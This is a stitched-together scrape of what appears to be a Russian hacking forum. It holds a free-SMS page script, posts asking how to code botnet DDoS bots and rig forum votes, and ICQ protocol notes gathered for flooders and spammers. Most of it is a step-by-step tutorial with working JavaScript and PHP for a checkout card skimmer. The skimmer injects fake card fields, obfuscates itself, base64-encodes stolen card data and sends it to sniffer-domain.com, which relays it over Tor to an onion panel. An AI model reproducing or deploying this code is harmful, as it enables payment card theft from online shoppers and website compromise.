+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+String.fromCharCode(39)+
+String.fromCharCode(39)+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');
var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_X_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_X_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'').split('_');
*/
var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+
+String.fromCharCode(39)+String.fromCharCode(39)+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');
var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_H_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_H_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'').split('_');
var translitown=0;
var processhtmltags = 1; // switch to latin when the html tag <...> is typed in
var processbbcodetags = 1; // switch to latin when the bbcode tag [...] is typed in
var language = 0;
var maxtransliterationlength=3;
var lenreafontsize = 14; // WAENING: the value is defined in the main.css !!!
var textreafontwidth = 7; // The width of the text is supposed to be 7 !!!
var prelanguage = 0;
function translatesymboltocyrillic(txt)
{
for (var ii=0; ii<lat.length; ii++)
{
pos = txt.length>lat[ii].length?(txt.length-lat[ii].length):0;
if (lat[ii]==txt.substr(pos,txt.length-pos)) {
return txt.substr(0,txt.length-lat[ii].length)+rus[ii];
}
}
return txt;
}
function translatesymboltolatin(symb)
{
for (var ii=0;ii<rus2.length;ii++)
{
if (rus2[ii]==symb)
return lat2[ii];
}
return symb;
}
function translateAlltoCyrillic()
{
var inloop=1;
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
preval = tt.value.substring(0, p1);
txt = tt.value.substring(p1,p2);
postval = tt.value.substring(p2);
}
var txtnew = "";
if ((!processhtmltags)&&(!processbbcodetags))
{
txtnew = translateStringtoCyrillic(txt);
}
else
{
var htt1,pbb1,t1,t2,txt1,txt2,tag_open,tag_close;
var noinputtag=0;
if (processhtmltags) {tag_open="<";tag_close=">";}
if (processbbcodetags) {tag_open="[";tag_close="]";}
while(inloop)
{
if (processhtmltags&&processbbcodetags)
{
htt1 = txt.indexOf("<");
pbb1 = txt.indexOf("[");
if (pbb1==htt1) {noinputtag=1}
if (pbb1==-1) {pbb1=txt.length;}
if (htt1==-1) {htt1=txt.length;}
if (htt1<pbb1) {t1=htt1; tag_close=">";} else {t1=pbb1; tag_close="]";}
}
else
{
t1 = txt.indexOf(tag_open);
if (t1==-1) noinputtag=1;
}
if (noinputtag) {inloop=0;t1=txt.length;t2=txt.length;}
else
{
txt2=txt.substring(t1,txt.length);
t2=txt2.indexOf(tag_close);
//if (t2==-1) {t2=txt.length; inloop=0;} else {t2=t2+t1+1};
if (t2==-1) {t2=t1+1} else {t2=t2+t1+1};
}
txt1 = txt.substring(0,t1);
txt2 = txt.substring(t1,t2);
txt = txt.substring(t2,txt.length);
txtnew = txtnew+translateStringtoCyrillic(txt1)+txt2;
}
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}
function translateStringtoCyrillic(thestringlat)
{
var symbb,fromm,howmuch,thestringcyr="";
for (kk=0;kk<thestringlat.length;kk++)
{
howmuch = thestringcyr.length>maxtransliterationlength?maxtransliterationlength:thestringcyr.length;
fromm = thestringcyr.length-howmuch;
symbbb = thestringlat.substr(kk,1);
symbbb = translatesymboltocyrillic(thestringcyr.substr(fromm,howmuch)+symbbb);
thestringcyr = thestringcyr.substr(0,fromm)+symbbb;
}
return thestringcyr;
}
function translateAlltoLatin()
{
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
preval = tt.value.substring(0, p1);
txt = tt.value.substring(p1,p2);
postval = tt.value.substring(p2);
}
txtnew="";
var symb = "";
for (kk=0;kk<txt.length;kk++)
{
symb = translatesymboltolatin(txt.substr(kk,1));
txtnew = txtnew.substr(0,txtnew.length) + symb;
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}
//-->
</script>
</head>
<body link="#000000" alink="#000000" vlink="#000000">
<!-- FORM -->
<center>
<table width="100%">
<td align="center" width="100%" bgcolor="#cccccc"><center>Бесплатная отправка SMS сообщений</center></td>
</table>
<table border=0 width=90%>
<tr>
<td width=50%>
<body onload="checkLen()">
<FORM ACTION="send.php" METHOD=POST name="text">
<TABLE BORDER=0>
<TR>
<TD>Номер телефона:</TD>
<TD><input type=text name="phone" size=18 maxlength=12></TD></TR>
<TR>
<TD>Выбор оператора:</TD>
<TD><select name="operator" size=1>
<option value="1" >operator 1</option>
<option value="2" >operator 2</option>
<option value="3" >operator 3</option>
</TD></TR>
<TR>
<td colspan="2">Отправить сообщение на русском?</td>
</tr>
<tr>
<td colspan="2"><input type=radio value=1 onClick=setLen(this.value) name="dcs">Да
<input type=radio value=0 onClick=setLen(this.value) name="dcs" checked>Нет</td>
</TR>
<TR>
<TD colspan=2>
Сообщение:
<textarea name="sms" cols=40 rows=5 onChange=checkLen() onKeyUp=checkLen()></textarea></TD>
<td valign="middle"><p> </p><!-- <input name=len type=hidden onChange=checkLen(document.forms[0]) onKeyUp=checkLen(document.forms[0]) value=0> --><font size="-2">осталось <INPUT TYPE="text" NAME="len" VALUE="160" SIZE=4 onChange="checkLen()" onKeyUp="checkLen()" tabindex="-1">символов</td>
</TR>
<tr>
<td align="center" colspan="2">
<input onclick="translateAlltoCyrillic();doChange();" type="button" value="в кириллицу" class="subbutton" title="Перевести текст в кириллицу">
<input onclick="translateAlltoLatin();doChange()" type="button" value="в латиницу" class="subbutton" title="Перевести текст в латиницу">
</td>
</tr>
<TR>
<TD colspan=2 align=center><input type=submit value="Отправить">
<!-- <input type="button" value="2RUS" class="subbutton" onclick="alert(translit2win(sms_text.value));">
<input type="button" value="2LAT" class="subbutton" onclick="alert(translit2lat(sms_text.value));"> -->
<input type=reset value="Очистить"></TD></TR>
</TABLE></FORM>
</td>
</tr></table></center>
<!-- End FORM -->
</body>
</html>
P.S.: за помощь в создании скрипта выражаю огромную благодарность Strelk'у и SiRex'у с grudina.info .
Хотелось бы обсудить такую тему, точнее - задать несколько ламерских вопросов по кодингу.
1. Где можно посмотреть, как примерно должен работать бот в системе? Т.е.,
какой нибудь план, для примера:
"запускаемся => проверяем первый это запуск или нет => если первый, то
копируем себя в такую-то директорию, прописываем в реестр, отправляем на
сервер данные; если не первый - стучим в админку о том, что живы, ждем
задания".
Может есть какие-то актуальные статьи, или актуальные сорцы (языки - Асм, С),
где можно глянуть, как пишут опытные кодеры?
2. Как быть в такой ситуации. Допустим, мой бот получил задание на атаку такого-то сайта. Вызывается процедура (например, http_attack proc, url), и на сайт, полученный из админки, пошла атака. Но - надо ведь и проверять, не поступила ли с админки команда на прекращение атаки. И как это делать? т.е. прервать процедуру атаки, проверить что в админке, если все ок - то снова вызвать атаку, если нет - ждать опять сигнала. Как то по дурацки выглядит. Как делают нормальные кодеры? Через процессы? т.е. 1 процесс постоянно проверяет команды из админки, а второй в это время (зависит от команды) ддосит или нет.
Установка Web-Server based on Apache, Mysql, PHP
автор Eliziym
В этом видео я описал, как изменять ход голосования в IPB в свою пользу. Так же описан пример, как изменить кол-во постов/просмотров в отдельном форуме.
Думаю, каждого кодера рано или поздно заинтересует сабж. Всем хочется написать флудер/спамер или еще что прикольное для ICQ. В топике собираем доки по ICQ протоколу, желательно на русском.
Начнем.
Неофициальная документация по протоколу ICQv7 от Rejetto (создателя
andrq)
Самая популярная документация по OSCAR
Люди хороши пишут о протоколе
Курсовая работа, посвященная исследованию протоколов
ICQ
Спецификация протокола icq5
Спецификация протокола icq2
Спецификация протокола ICQ TCP версии
#2
Спецификация протокола ICQ V4 (из списка рассылки icq-
devel)
Описание шифрования в протоколе icq
v5
Описание расшифровки v4 пакетов на
c
Еще одна спецификация Оскара
Компоненты для кодинга:
Мало кому известный icq-aim-компонент.The best for advanced.Нуждается в
MD5-модуле,тк аим работает с
мд5.Delphi
KIcq.Компонент для C.Устарел и нуждается в
переделке
TicqClient от coban2k.Не нуждается в представлении,имеет хороший
хелп+несколько прог-примеров,легок в использовании.Не работает с aim.Во
вложениях модицифированный компонент от неизвестного
автора
Разное
Code:Copy to clipboard
oscar proto snac
Для тех, кто знает строение и названия разных снеков протокола в любительских описаниях, такое “иное” описание может быть интересным. Весь список публиковать пожже, но название некоторых общепринятых и известных снеков в этом списке, просто приводят в странное состояние. Вот тут только маленький списочек, в основном список снеков, которые пропущены любительскими составителями. Однако, несмотря на это описание, многих снеков сейчас просто не существует.
Family 0x0017 - BUCP Service (Login)
0x0008 ASASN
0x0009 ASASN Reply
Family 0x0013 - Feedbag (Buddylist)
0x000B Insert Class
0x000C Update Class
0x000D Delete Class
0x0013 Authorize Buddy
0x0017 Remove Me 2
Family 0x0004 - Instant Messenging (ICBM)
0x000E Sin List Query
0x000F Sin List Reply
0x0010 Sin Retrieve
0x0011 Sin Delete
0x0012 Notify Request
0x0013 Notify Reply
Family 0x0002 - Location
0x000D Group Capability Query
0x000E Group Capability Reply
0x0011 Get Keyword Info
0x0012 Get Keyword Info Reply
0x0013 Find List by Email
0x0014 Find List by Email Reply
Family 0x0001 - General
0x0019 Max Config Query
0x001A Max Config Reply
0x001B Store Config
0x001C Config Query
0x001D Config Reply
идентификация клиента:
Code:Copy to clipboard
ANDRQ =$FFFFFF7F;
MIRANDA =$FFFFFFFF;
STRICQ =$FFFFFF8F;
YSM =$FFFFFFAB;
MICQ =$7d0001ea;
MICQ2 =$ffffff42;
LICQ =$7d000000;
Trillian = 3B75AC09
IM2 = 3FF19BEB
CenterICQ = 3AA773EE
vICQ = 04031980
alICQ = FFFFFFBE
Порекомендуйте, please, что почитать получше (php)..
Видела когда-то где-то совет, мол, смотри туда-то, хорошая книга, но мне тогда
не надо было
Приветствую.
Изначально статья должна была быть на много подробнее и больше, с картинками и
реальными примерами, также я думал разбить ее на несколько частей, но релиз
вышел иным, приятного чтения.
Данная статья несет исключительно ознакомительный характер, и никого не
призывает использовать ее с целью кражи данных, а лишь показывает каким
образом злоумышленник может похитить банковскую информацию клиентов онлайн
магазина.
В этой статье я постараюсь максимально кратко НО информативно обьяснить как
устроены js сниферы, и как их писать.
Мы рассмотрим с вами написание сниферов, которые собирают инфу с шопов, чекаут
формы которых выглядят следующим образом:
1. Формы находящиеся непосредственно на странице
2. Формы поля которых находятся внутри iframe
3. Формы [обычные\фреймы] меняющие код в зависимости от выбранных
значений(например изменение страны доставки изменяет форму целиком,
перезагружая ее - тем самым заставляет нас не вешать событие сабмита сразу, а
ловить его на финальной стадии)
4. Редирект, подробно рассказать за него не выйдет, так как все сводится к
подмене ссылки с оригинальной на фейк и при возвращении - вывод ошибки о
неверно введенных данных(легко поверить, все же ошибаются), с последующей
передаресацией жертвы на оригинальный чекаут.
Мы рассмотрим следующие моменты:
1. Подмена полей
2. Сниф данных с полей
3. Отправка украденной информации к нам на сервер-посредник
4. Пересылка информации с сервера посредника на админку, находящуюся в торе
5. Принятие запроса и сохранение данных в MySql таблицу
Перед написанием снифера, мы считаем что следующие условия соблюдены:
1. Доступ к шопу с правами на запись
2. VPS с доменом sniffer-domain.com и ssl сертификатом(подойдет бесплатный
lets encrypt) + поднятый apache и установлены модули php + библиотека curl +
tor service
3. VPS c TOR доменом заканчивающимся на .onion + поднятый apache и
установленные модули php и mysql
1 ЧАСТЬ:
Общие моменты:
1. Снифер должен работать только после полной загрузки окна, чтобы событие клика на кнопку чекаута не было undefined вешается событие:
JavaScript:Copy to clipboard
window.addEventListener('load',(event)=>{
//code
}
2. В зависимости от того куда будет добавлен скрипт снифера, необходимо
делать проверку того, что мы находимся именно на странице чекаута.
Легче всего это сделать проверив адресную строку:
JavaScript:Copy to clipboard
if(window.location.toString().search(/checkouts/)!=-1){
//code
}
3. Код можно обфусцировать, в сети вы найдете много онлайн js обфускаторов,
это защитит ваш код от случайного обнаружения
Links - НЕ реклама, в сети их много:
https://www.javascriptobfuscator.com/Javascript-Obfuscator.aspx
https://www.obfuscator.io/
Основная часть
Перед нами обычная форма которая находится на сайте, мы имеем следующие поля:
HTML:Copy to clipboard
<span class="input-wrapper">
<input type="text" class="input-text" name="name" id="name" placeholder="" value="">
</span>
<span class="input-wrapper">
<input type="tel" class="input-text" name="cc_number" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" maxlength="20">
</span>
<span class="input-wrapper">
<input type="tel" class="input-text" name="cc_expiry" id="credit_card_expiry" placeholder="MM / YY" value="" maxlength="7">
</span>
<span class="input-wrapper">
<input type="tel" class="credir_card_cvc" name="" id="credit_card_cvc" placeholder="CVC" value="" maxlength="4">
</span>
В соответствии с объектной моделью документа («Document Object Model», коротко
DOM), каждый HTML-тег является объектом.
Значения которые вводит юзер - хранятся в атрибуте value.
Чтобы получить значение из value нам необходимо обратится к обьекту тега
input, и взять значение атрибута value:
JavaScript:Copy to clipboard
//Обьявляем переменную
let name = "";
//Записываем в нее значение value
name = document.getElementById(id).value;
//Таким же образом получаем остальные значения...
В определенных ситуациях некоторые поля могут иметь пустое value, либо обьекта вообще нет, для этого нужно добавить проверку дабы избежать ошибок во время выполнения:
JavaScript:Copy to clipboard
let name = "";
name = document.getElementById(id) ? document.getElementById(id).value : "";
//Оператор ? укорачивает ваш код, строка выше делает то же самое что и
if(document.getElementById(id)){
name = document.getElementById(id).value;
}else{
name = "";
}
Рассмотрим следующий пример, у нас форма в которой поля находятся не на странице, а подтягиваются с помощью iframe:
JavaScript:Copy to clipboard
<span class="input-wrapper" id="span_id">
<iframe name="example_provider" id="iframe_id" title="PaymentForm" src="https://example/cards/payment-form?url=https://shop.com/" width="100%">
#html тег внутри фрейма
<html>
//Тут будет код целой страницы, который мы пропустим, для понимания принципа работы это не важно
<body>
<input type="tel" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" autocomplete="cc-number" maxlength="20">
</body>
</html>
</iframe>
</span>
Если вы попробуете обратиться к такому input по его id, то вы ничего не
получите так как содержимое iframe недоступно нашему js скрипту.
Давайте проанализируем фрейм, как видите наш фрейм имеет id с названием
iframe_id значит мы можем обратиться к нему как к DOM обьекту.
Наш iframe содержится внутри блока span, а span в свою очередь является его
контейнером.
Теперь у вас должен возникнуть вопрос, "каким образом мы получим значение
value если оно нам недоступно?" .
Действовать мы будем следующим образом:
1. Получим ссылку на обьект нашего iframe и span
2. Скроем iframe
3. Вставим в span наше фейк поле
4. Получим значение из поля
5. Выведем ошибку
6. Заполним куку о том что данные мы уже стащили
7. Перезагрузим страницу
8. Скрипт проверит наличие куки, и если она не равна 404, то покажет
оригинальную форму с iframe
JavaScript:Copy to clipboard
//Данный код должен быть расположен сразу после условия, которое проверяет загрузку документа и адрес, в случае если мы действительно находимся на странице чекаута, данный код отработает
//Проверяем наличие куки
//Функция получения куки из браузера, не мой
function get_cookie(cookie_name){
let check_cookie=document.cookie.match(new RegExp("(?:^|; )"+cookie_name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return check_cookie?decodeURIComponent(check_cookie[1]):"404";
}
//Получаем значение куки, если оно не найдено, то мы прячем iframe и показываем фейк
if(get_cookie("already_sniffed")=="404"){
//Код подмены, который мы написали выше
//Получаем ссылки на обьекты
let span_block = document.getElementById('span_id');
let iframe_block = document.getElementById('iframe_id');
//Скрываем ифрейм
iframe_block.setAttribute("style","display:none;");
//Добавляем наше фейковое поле, предварительно вы должны сами его написать, тут я не покажу вам пример так как каждая форма уникальна, и для этого достаточно базового знания html+css, лично я поступил бы следующим образом: открыл в 2 вкладках страницу чекаута, на одной был бы оригинальный инпут, а на другой я бы скрыл ифрейм, и в блок ифрейма - в нашем случае это span, я бы добавил тег <input> и писал бы его стили делая его максимально похожим, стили указал бы внутри тега - ДА это говнокод, но так мы получаем тег в виде одной строки, и можем потом вставить его рядом с фреймом:
span_block.insertAdjacentHTML("afterend","<input id='fake_input' style='наши стили для фейк инпута'>");
}
После отработки данного скрипта, на странице проявится наша поддельная форма,
а оригинальная будет скрыта. Как вы видите, мы добавили id нашему input для
того, чтобы обращаться к его value атрибуту.
Теперь, после отправки формы(этот процесс мы рассмотрим чуть позже), мы должны
добавить куку,которую мы проверили выше, нужно это для того, чтобы при
загрузке страницы наш скрипт понимал соснифили ли мы инфу у текущего юзера или
нет.
Создаем куку, и даем ей значение 1, если куки нет, то она не равна 1, а значит
данные мы еще не снифали.
JavaScript:Copy to clipboard
//Этот код мы добавим после отправки формы
document.cookie="already_sniffed=1";
Таким образом происходит подмена других полей, для примера я показал одно
И так, когда мы написали функцию подмены полей, то мы действуем точно так же,
как и в первом пункте, при [отправке формы\нажатию на кнопку "Place order"] мы
по id с помощью функции getElementById получаем value полей и записываем их в
переменные.
На данном этапе мы [в случае с наличием ифрейма - подменили поле], находимся
на странице чекаута, далее мы введем данные в поля и подтвердим оплату.
Нажатие на кнопку оплаты, или же отправка формы(которая инициируется этим
самым нажатием на кнопку оплаты, либо нажатием клавиши enter находясь на
последнем инпуте) - это и есть наши 2 тригера на выбор.
У нас есть кнопка, код которой выглядит следующим образом:
JavaScript:Copy to clipboard
<input type="submit" name="checkout_place_order" id="place_order" value="Place order">
Мы должны проделать следующие пункты, чтобы повесить ивент на кнопку:
JavaScript:Copy to clipboard
//Получаем DOM обьект кнопки по id
let submit_button = "";
submit_button = document.getElementById('place_order');
//Добавляем обработчик события клик на эту кнопку
submit_button.addEventListener('click',function(event){
//На данном этапе форма должна будет отправится, и чтобы это предотвратить вызываем функцию на обьекте события
event.preventDefault();
//По факту мы отменили клик, и теперь форма не отправится, а это нужно для того, чтобы наш скрипт успел собрать данные, сформировать запрос, и отправить его на наш сервер
//Собираем данные
let name_value = "";
name_value = document.getElementById("name_id").value;
let lastname_value = "";
lastname_value = document.getElementById("lastname_id").value;
let cc_number_value = "";
cc_number_value = document.getElementById("cc_number_id").value;
//И тд...
//Дальше он сформирует из него ассоциативный массив в представлении ключ:значение
let cc_info_object ={
name_key:name_value,
lastname_key:lastname_value,
cc_number_key:cc_number_value
};
//Массив = обьект, и из этого обьекта мы сформируем json строку
let json_string = JSON.stringify(new_obj123);
//Закодируем строку в base64, чтобы при анализе передаваемых данных сложнее было обнаружить что именно отправляется
let base64_json_string = btoa(json_string);
//Отправим данные на наш сервер-приемник, также я настоятельно НЕ рекомендую использовать библиотеку jquery с ее ajax функцией так как для этого необходимо подтягивать кучу лишнего, то лучше использовать нативные возможности javascript'а в виде XMLHttpRequest
//Инициализируем обьект XMLHttpRequest
let XMLHttpObj = new XMLHttpRequest();
//Открываем соединение, для отправки post запроса
XMLHttpObj.open("POST", "https://sniffer-domain.com/index.php");
//Указываем заголовки
XMLHttpObj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//Отправляем запрос
XMLHttpObj.send("sniffed_data="+base64_json_string);
//Вешаем обработчик события "изменение статуса запроса"
XMLHttpObj.onreadystatechange = function(){
//Когда статус запроса изменится, мы проверим его
if(XMLHttpObj.readyState==XMLHttpRequest.DONE&&XMLHttpObj.status==200){
//В случае успешной отправки запроса, мы вешаем куку(ее [наличие\значение] мы будем проверять в начале скрипта) которая будет говорить о том, что у текущего юзера данные мы УЖЕ украли, и повторно их отправлять не нужно, выше вы уже видели этот код
document.cookie="already_sniffed=1";
//Теперь когда наш процесс снифинга кончился, мы должны отправить форму, дабы не нарушить логику сайта, и тут так же будет несколько вариантов:
//Вариант А: у нас обычная форма без ифреймов, данные отправятся, ордер добавится в базу, а жертва увидит сообщение об успешной оплате
//Вариант Б: у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница перезагрузится, и выдаст ошибку о том, что значения не верны
//Для этого мы должны получить DOM обьект тега <form> и вызвать у нее submit
//Условно: открывающий тег формы выглядит следующим образом: <form id="checkout_form_id" name="checkout" method="post" class="checkout" action="https://www.original-site.com/checkout/" enctype="multipart/form-data" novalidate="novalidate">
//Получаем DOM обьект формы
let checkout_form = "";
checkout_form = document.getElementById('checkout_form_id');
//Вручную отправляем ее
checkout_form.submit();
//Вариант В:у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница НЕ перезагрузится, а просто подчеркнет инпуты, с сообщением о том, что поля не могут быть пусты, тут нам нужно пойти другим путем и вместо отправки формы перезагрузить страницу
location = location;
}else{
//В случае какой то ошибки мы все равно [отправляем форму\перезагружаем страницу], иначе пользователь будет в логической ловушке нашего скрипта
let checkout_form = "";
checkout_form = document.getElementById('checkout_form_id');
checkout_form.submit();
// или
location = location;
//Тут на выбор: можно так же добавить куку, и больше не пытаться [подменить поля]+украсть данные, а можно НЕ добавлять куку и начать процесс заново
}
}
});
Опишу последний важный момент части с js.
Иногда попадаются такие формы, которые перезагружаются целиком при выборе
определенного значения в одном из полей, например смена страны в шипинг инфо,
в такой ситуации если мы при загрузке окна повесим на [кнопку\форму] событие,
то это событие не отработает, так как с точки зрения логики веб-приложения она
перестанет существовать.
Решение которое я нашел заключается в вешании события клик на всю страницу и
обращении к таргету.
JavaScript:Copy to clipboard
//Вешаем событие click на документ
document.addEventListener('click',event => {
//Получаем обьект и его value (если оно есть)
let button_value = event.target ? event.target.value : false;
//Проверяем что результат не false
if(button_value){
//Сравниваем значение с текстом из кнопки - это самый просто вариант, он обычно уникален
if(button_value=="Place order"){
//код предотвращения отправки -> сбор данных -> отправка данных -> завершение работы скрипта -> ручная отправка формы\перезагрузка страницы
}
}
});
Написанный код мы размещаем внутри тегов , а сам тег вставляем перед закрывающим тегом body.
На этом этапе написание JS части нашего снифера закончена.
2 ЧАСТЬ:
Приступим к написанию php скрипта, который будет крутится на сервере
посреднике.
Создаем index.php с содержимым:
PHP:Copy to clipboard
<?php
//Добавляем заголовки, они необходимы для того чтобы работала технология кросс-доменных запросов
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: *');
header('Access-Control-Allow-Headers: *');
//Проверяем наличие post запроса, с нужным ключем
if(isset($_POST['sniffed_data'])){
//Задаем урл, данные будем отправлять методом get
$url = 'http://ouradminpanel65rdfty78i.onion/index.php?sniffed_data='.$_POST['sniffed_data'];
//Напомню что содержимое $_POST['sniffed_data'] - закодировано в base64
//На нашем сервере крутится сервис tor для отправки запросов в тор сеть, следующей строкой указываем прокси адрес тора в виде ip:port
$tor_socks = "127.0.0.1:9050";
//Создаем обьект curl
$ch = curl_init();
//Задаем параметры для нашего curl запроса
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_PROXY, $tor_socks);
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
//Одновременно выполянем запрос, и получаем ответ
$resp = curl_exec($ch);
//Закрываем соединение
curl_close($ch);
}
Нужен этот самый сервер посредник для того, чтобы в случае обнаружения снифера и последующего абуза на него мы не потеряли данные.
3 ЧАСТЬ:
Завершающая стадия, тут мы получаем запрос от нашего сервера посредника, и
сохраняем значения в базу.
Создаем файл index.php со следующим содержимым:
PHP:Copy to clipboard
<?php
//Добавляем заголовки
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: *');
header('Access-Control-Allow-Headers: *');
//При обращении к скрипту проверяем наличие GET запроса
if(isset($_GET['sniffed_data'])){
//Получаем содержимое GET параметра, декодируем строку из base64, преобразуем json строку в ассоциативный обьект
